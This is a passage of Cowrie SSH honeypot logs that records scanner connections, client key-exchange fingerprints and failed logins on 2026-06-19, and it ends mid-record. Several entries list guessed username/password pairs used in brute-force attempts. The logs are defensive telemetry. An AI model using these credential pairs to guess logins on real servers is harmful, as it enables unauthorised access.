{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38934,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3a7fd9ec867","protocol":"ssh","message":"New connection: 192.109.200.78:38934 (10.17.0.5:22) [session: b3a7fd9ec867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:39.976031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:39.980896Z","src_ip":"192.109.200.78","session":"b3a7fd9ec867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:40.062252Z","src_ip":"192.109.200.78","session":"b3a7fd9ec867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:40.309246Z","src_ip":"192.109.200.78","session":"b3a7fd9ec867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":51360,"dst_ip":"159.203.135.109","dst_port":22,"session":"26ee14fcffe9","protocol":"ssh","message":"New connection: 92.207.4.157:51360 (159.203.135.109:22) [session: 26ee14fcffe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:40.398969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:40.404020Z","src_ip":"92.207.4.157","session":"26ee14fcffe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:40.570150Z","src_ip":"92.207.4.157","session":"26ee14fcffe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"Huawei12#$","message":"login attempt [user01/Huawei12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:40.965503Z","src_ip":"92.207.4.157","session":"26ee14fcffe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:41.525713Z","src_ip":"192.109.200.78","session":"b3a7fd9ec867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:42.072536Z","src_ip":"92.207.4.157","session":"26ee14fcffe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":43876,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fd54ee11e0d","protocol":"ssh","message":"New connection: 152.32.171.213:43876 (159.203.135.109:22) [session: 4fd54ee11e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:42.621959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:42.626949Z","src_ip":"152.32.171.213","session":"4fd54ee11e0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:42.843582Z","src_ip":"152.32.171.213","session":"4fd54ee11e0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39554,"dst_ip":"10.17.0.5","dst_port":22,"session":"cef0dbe9cb5f","protocol":"ssh","message":"New connection: 192.109.200.78:39554 (10.17.0.5:22) [session: cef0dbe9cb5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:43.425456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:43.429676Z","src_ip":"192.109.200.78","session":"cef0dbe9cb5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:43.513257Z","src_ip":"192.109.200.78","session":"cef0dbe9cb5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu123456","message":"login attempt [ubuntu/Ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:43.741694Z","src_ip":"152.32.171.213","session":"4fd54ee11e0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud-user","password":"password","message":"login attempt [cloud-user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:43.948385Z","src_ip":"192.109.200.78","session":"cef0dbe9cb5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:44.961165Z","src_ip":"152.32.171.213","session":"4fd54ee11e0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:45.034722Z","src_ip":"192.109.200.78","session":"cef0dbe9cb5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":38860,"dst_ip":"159.203.135.109","dst_port":22,"session":"125d875b007e","protocol":"ssh","message":"New connection: 176.32.39.21:38860 (159.203.135.109:22) [session: 125d875b007e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:45.447860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:45.452014Z","src_ip":"176.32.39.21","session":"125d875b007e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:45.577903Z","src_ip":"176.32.39.21","session":"125d875b007e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"whatthefuck","message":"login attempt [root/whatthefuck] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:45.953134Z","src_ip":"176.32.39.21","session":"125d875b007e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:47.078412Z","src_ip":"176.32.39.21","session":"125d875b007e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39572,"dst_ip":"10.17.0.5","dst_port":22,"session":"41e95fce6d8b","protocol":"ssh","message":"New connection: 192.109.200.78:39572 (10.17.0.5:22) [session: 41e95fce6d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:47.082908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:47.086874Z","src_ip":"192.109.200.78","session":"41e95fce6d8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:47.168823Z","src_ip":"192.109.200.78","session":"41e95fce6d8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"1234","message":"login attempt [crafty/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:47.414154Z","src_ip":"192.109.200.78","session":"41e95fce6d8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:48.547450Z","src_ip":"192.109.200.78","session":"41e95fce6d8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39584,"dst_ip":"10.17.0.5","dst_port":22,"session":"250346a31524","protocol":"ssh","message":"New connection: 192.109.200.78:39584 (10.17.0.5:22) [session: 250346a31524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:50.441339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:50.446623Z","src_ip":"192.109.200.78","session":"250346a31524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:50.527159Z","src_ip":"192.109.200.78","session":"250346a31524","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"1","message":"login attempt [root1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:50.769728Z","src_ip":"192.109.200.78","session":"250346a31524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:51.853679Z","src_ip":"192.109.200.78","session":"250346a31524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36634,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ccf50d42a57","protocol":"ssh","message":"New connection: 192.109.200.78:36634 (10.17.0.5:22) [session: 3ccf50d42a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:53.834739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:53.877396Z","src_ip":"192.109.200.78","session":"3ccf50d42a57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:54.129274Z","src_ip":"192.109.200.78","session":"3ccf50d42a57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:54.390595Z","src_ip":"192.109.200.78","session":"3ccf50d42a57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:55.475264Z","src_ip":"192.109.200.78","session":"3ccf50d42a57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36644,"dst_ip":"10.17.0.5","dst_port":22,"session":"32a5a05d741a","protocol":"ssh","message":"New connection: 192.109.200.78:36644 (10.17.0.5:22) [session: 32a5a05d741a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:57.489693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:57.494416Z","src_ip":"192.109.200.78","session":"32a5a05d741a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-ce